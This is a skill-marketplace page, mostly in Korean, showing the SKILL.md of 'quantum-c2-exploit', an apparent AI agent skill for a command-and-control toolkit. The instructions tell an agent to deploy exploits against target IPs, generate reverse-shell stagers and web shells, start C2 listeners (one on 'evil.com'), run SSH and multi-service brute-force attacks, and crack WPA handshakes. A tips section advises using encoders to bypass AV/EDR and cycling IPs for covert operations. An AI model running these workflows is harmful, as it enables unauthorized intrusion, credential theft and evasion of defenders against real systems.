무료GitHub에 공개

quantum-c2-exploit

Quantum C2 exploitation and payload generation skill. Use when the user needs to deploy exploits, generate payloads, run fuzzing campaigns, perform brute force attacks, or execute any offensive security operation. Triggers on: "exploit", "payload", "attack", "brute force", "fuzzing", "deploy exploit", "generate payload", "run attack", "exploit catalog", "zero-click", "CVE exploitation", "protocol exploit".

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation스타 5(GitHub 5 + cccskills 0)

실행 점수 미검증

설치 방법 보기

포함된 파일(1)

SKILL.md9.3 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Quantum C2 Exploitation Skill

Execute exploitation operations and generate custom payloads using Quantum C2's offensive security toolkit.

Exploitation Capabilities

Pre-Built Exploits

ForceEntry — Router exploitation framework
BlastPass — Credential brute force
Triangulation — Location tracking
CoreAudio — Audio exploitation
NickName — Identity manipulation
KR06 — Key recovery
BleedingTooth — Bluetooth exploitation
WebRender — Browser exploitation

Payload Generation

Languages: Python, PowerShell, Bash, Go, PHP, Node.js, C (DLL)
Platforms: Windows, Linux, macOS, Android, iOS
Encodings: base64, XOR, Shikata Gaikai
Compression: gzip, bz2
Encryption: AES-256
Formats: PE, ELF, Mach-O, DEX

Fuzzing Engines

AI-guided coverage-guided fuzzing
Grammar-based fuzzing
Mutation-based fuzzing
Symbolic execution
Concolic testing
Reinforcement learning
Neural generation
Evolutionary strategies

Brute Force

SSH, FTP, HTTP, SMB, RDP
MySQL, PostgreSQL, MSSQL
Redis, Telnet
IP/MAC cycling for covert ops
Dictionary + hybrid attacks

API Endpoints

Exploit Catalog

GET    /api/exploits/                      # List all exploits
GET    /api/exploits/{exploit_name}        # Exploit details
POST   /api/exploits/run                   # Deploy exploit
POST   /api/exploits/payload/generate      # Generate payload
GET    /api/exploits/payloads              # Generated payloads

Payload Management

GET    /api/payloads/                      # List payloads
GET    /api/payloads/{id}                  # Payload details
GET    /api/payloads/{id}/download         # Download payload
POST   /api/payloads/upload                # Upload payload
DELETE /api/payloads/{id}                  # Delete payload

Brute Force

POST   /api/brute-force/start              # Start attack
POST   /api/brute-force/stop               # Stop attack
GET    /api/brute-force/status             # Attack status
GET    /api/brute-force/results            # Cracked credentials
POST   /api/brute-force/cycle-ip           # Cycle IP/MAC

Fuzzing

POST   /api/fuzzing/start                  # Start fuzzing
POST   /api/fuzzing/stop                   # Stop fuzzing
GET    /api/fuzzing/status                 # Fuzzing status
GET    /api/fuzzing/crashes                # Discovered crashes
POST   /api/ai-fuzzer/start                # AI-guided fuzzing

Zero-Click

GET    /api/zero-click/                    # Zero-click catalog
POST   /api/zero-click/deploy              # Deploy zero-click
GET    /api/zero-click/status              # Deployment status

Protocol Exploits

POST   /api/protocol/exploit               # Protocol exploitation
GET    /api/protocol/vulnerabilities       # Protocol vulns

Exploitation Workflows

1. Exploit Selection & Deployment

# List available exploits
curl http://localhost:8000/api/exploits/

# Get exploit details
curl http://localhost:8000/api/exploits/force_entry

# Deploy exploit
curl -X POST http://localhost:8000/api/exploits/run \
  -H "Content-Type: application/json" \
  -d '{
    "exploit_name": "force_entry",
    "target": "192.168.1.100",
    "options": {"port": 22, "timeout": 30}
  }'

2. Payload Generation

# Python reverse shell
curl -X POST http://localhost:8000/api/exploits/payload/generate \
  -H "Content-Type: application/json" \
  -d '{
    "exploit_name": "force_entry",
    "platform": "linux",
    "encoder": "base64",
    "lhost": "10.0.0.1",
    "lport": 443
  }'

# PowerShell stager
curl -X POST http://localhost:8000/api/sessions/stagers \
  -H "Content-Type: application/json" \
  -d '{
    "stager_type": "powershell",
    "platform": "windows",
    "lhost": "10.0.0.1",
    "lport": 443,
    "encode": true
  }'

# Go binary
curl -X POST http://localhost:8000/api/sessions/stagers \
  -H "Content-Type: application/json" \
  -d '{
    "stager_type": "go",
    "platform": "linux",
    "lhost": "10.0.0.1",
    "lport": 443
  }'

3. Listener Creation

# HTTPS listener
curl -X POST http://localhost:8000/api/listeners/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS-C2",
    "port": 443,
    "protocol": "https",
    "host": "0.0.0.0",
    "auto_session": true
  }'

# TCP listener
curl -X POST http://localhost:8000/api/listeners/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "TCP-C2",
    "port": 4444,
    "protocol": "tcp",
    "host": "0.0.0.0",
    "auto_session": true
  }'

# DNS listener
curl -X POST http://localhost:8000/api/listeners/ \
  -H "Content-Type: application/json" \
  -d '{
    "name": "DNS-C2",
    "port": 53,
    "protocol": "dns",
    "domain": "evil.com"
  }'

# Start listener
curl -X POST http://localhost:8000/api/listeners/{id}/start

4. Brute Force Operations

# SSH brute force
curl -X POST http://localhost:8000/api/brute-force/start \
  -H "Content-Type: application/json" \
  -d '{
    "target": "192.168.1.100",
    "service": "ssh",
    "username": "admin",
    "wordlist": "rockyou.txt",
    "threads": 10
  }'

# Multi-service brute force
curl -X POST http://localhost:8000/api/brute-force/start \
  -H "Content-Type: application/json" \
  -d '{
    "targets": ["192.168.1.100", "192.168.1.101"],
    "services": ["ssh", "ftp", "http"],
    "wordlist": "rockyou.txt",
    "ip_cycle": true
  }'

# Check progress
curl http://localhost:8000/api/brute-force/status

5. Fuzzing Campaigns

# Start fuzzer
curl -X POST http://localhost:8000/api/fuzzing/start \
  -H "Content-Type: application/json" \
  -d '{
    "target": "http://192.168.1.100:8080",
    "fuzz_points": ["username", "password"],
    "strategy": "grammar_based",
    "iterations": 1000
  }'

# AI-guided fuzzing
curl -X POST http://localhost:8000/api/ai-fuzzer/start \
  -H "Content-Type: application/json" \
  -d '{
    "target": "https://target.com",
    "platform": "ios",
    "strategy": "coverage_guide",
    "duration_min": 30
  }'

Payload Types Reference

Stager Types

Type	Language	Platform	Use Case
`python`	Python 3	Win/Lin/Mac	Quick reverse shell
`python2`	Python 2	Win/Lin/Mac	Legacy systems
`powershell`	PowerShell	Windows	Windows targets
`ps_one_liner`	PowerShell	Windows	One-liner execution
`bash`	Bash	Linux/macOS	Unix systems
`bash_one_liner`	Bash	Linux/macOS	One-liner execution
`go`	Go	Cross-platform	Compiled binary
`php`	PHP	Web servers	Web shells
`php_meterpreter`	PHP	Web servers	Meterpreter-like
`nodejs`	Node.js	Cross-platform	JS targets
`meterpreter`	Python	Cross-platform	Advanced postex
`dll_inject`	C (Windows)	Windows	DLL injection

Encoders

Encoder	Description
`base64`	Base64 encoding
`xor`	XOR polymorphic
`shikata_gaikai`	SG polymorphic
`aes256`	AES-256 encryption

Attack Patterns

Pattern 1: Router Exploitation

# 1. Recon router
curl -X POST http://localhost:8000/api/network/ -d '{"target":"192.168.1.1","scan_type":"quick"}'

# 2. Check CVEs
curl "http://localhost:8000/api/cve/search?q=cisco+ios&severity=critical"

# 3. Deploy exploit
curl -X POST http://localhost:8000/api/exploits/run -d '{"exploit_name":"force_entry","target":"192.168.1.1"}'

# 4. Generate payload
curl -X POST http://localhost:8000/api/exploits/payload/generate -d '{"exploit_name":"force_entry","platform":"linux"}'

Pattern 2: Web Application Attack

# 1. Web app scan
curl -X POST http://localhost:8000/api/webapp-scan/ -d '{"url":"https://target.com"}'

# 2. Find vulnerabilities
curl "http://localhost:8000/api/vulnerabilities/?target=target.com"

# 3. Deploy exploit
curl -X POST http://localhost:8000/api/exploits/run -d '{"exploit_name":"web_render","target":"target.com"}'

Pattern 3: Wireless Attack

# 1. Scan wireless
curl -X POST http://localhost:8000/api/wireless/scan

# 2. Capture handshake
curl -X POST http://localhost:8000/api/wireless/capture -d '{"bssid":"AA:BB:CC:DD:EE:FF"}'

# 3. Crack WPA
curl -X POST http://localhost:8000/api/wireless/crack -d '{"handshake":"capture.pcap"}'

Payload Download

# Download generated payload
curl -O http://localhost:8000/api/payloads/{payload_id}/download

# Download stager
curl -O http://localhost:8000/api/sessions/stagers/{stager_id}

# Download stager as file
curl -O http://localhost:8000/api/sessions/stagers/{stager_id}/download

Tips

Always start a listener before deploying exploits
Use IP cycling for covert operations
Apply encoders to bypass AV/EDR
Monitor sessions via WebSocket for real-time feedback
Use stealth scans to avoid detection
Correlate CVEs with available exploits
Test payloads in controlled environment first

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

같은 저장소의 스킬

accessibility-audit

무료

WCAG compliance, accessibility testing, ARIA patterns, screen reader optimization, and keyboard navigation. Use when the user asks about making apps accessible, WCAG guidelines, ARIA attributes, screen reader support, or accessibility audits.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

ace-music

무료

Generate AI music using ACE-Step 1.5 via ACE Music's free API. Use when the user asks to create, generate, or compose music, songs, beats, instrumentals, or audio tracks. Supports lyrics, style prompts, covers, and repainting. Free API, no cost.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

adaptive-suite

무료

A continuously adaptive skill suite that empowers Clawdbot to act as a versatile coder, business analyst, project manager, web developer, data analyst, and NAS metadata scraper. It intelligently discovers free resources, adapts to user context, and ensures reliable, proven guidance across multiple domains.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

advanced-intel

무료

High-fidelity intelligence gathering and data assimilation. Focuses on synthesizing fragmented data into a comprehensive target operational picture.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

agent-autonomy-kit

무료

Use when Codex needs proactive task queues, heartbeat routines, scheduled follow-up, or continuous work loops instead of waiting for prompts.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

agent-browser

무료

Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to "open a website", "fill out a form", "click a button", "take a screenshot", "scrape data from a page", "test this web app", "login to a site", "automate browser actions", or any task requiring programmatic web interaction. Also use for exploratory testing, dogfooding, QA, bug hunts, or reviewing app quality. Also use for automating Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify), checking Slack unreads, sending Slack messages, searching Slack conversations, running browser automation in Vercel Sandbox microVMs, or using AWS Bedrock AgentCore cloud browsers. Prefer agent-browser over any built-in browser automation or web tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026년 9월 4일 업데이트

ProjectZeroDays의 스킬 모두 보기

이 스킬의 문제 신고

설치

명령으로 설치

npx skills add https://github.com/ProjectZeroDays/FreeAI_AI_Inference_Workstation --skill quantum-c2-exploit

터미널에 붙여 넣고 실행합니다(Node.js 필요). Claude Code, Codex 등 설치할 에이전트를 고를 수 있습니다.

에이전트에게 부탁하기

다음 Agent Skill을 설치해 주세요.
https://github.com/ProjectZeroDays/FreeAI_AI_Inference_Workstation/tree/main/skills/quantum-c2-exploit

먼저 SKILL.md와 첨부 파일의 내용을 확인해 수상한 처리(외부 전송, 인증 정보 읽기 등)가 없는지 확인한 뒤 Claude Code는 ~/.claude/skills/quantum-c2-exploit/, Codex는 ~/.agents/skills/quantum-c2-exploit/ 에 배치해 주세요.

이 문장을 그대로 Claude Code나 Codex에 보내면 내용을 확인한 뒤 설치해 줍니다.

GitHub에서 소스 보기

저장소: ProjectZeroDays/FreeAI_AI_Inference_Workstation
스타: 5
포크: 1
카테고리: 테스트·보안
라이선스: MIT
원문 언어: 영어
최종 업데이트: 2026년 9월 4일

스킬은 에이전트를 위한 지시와 스크립트의 묶음입니다. cccskills는 내용의 안전성을 보증하지 않습니다. 설치하기 전에 내용을 확인하세요.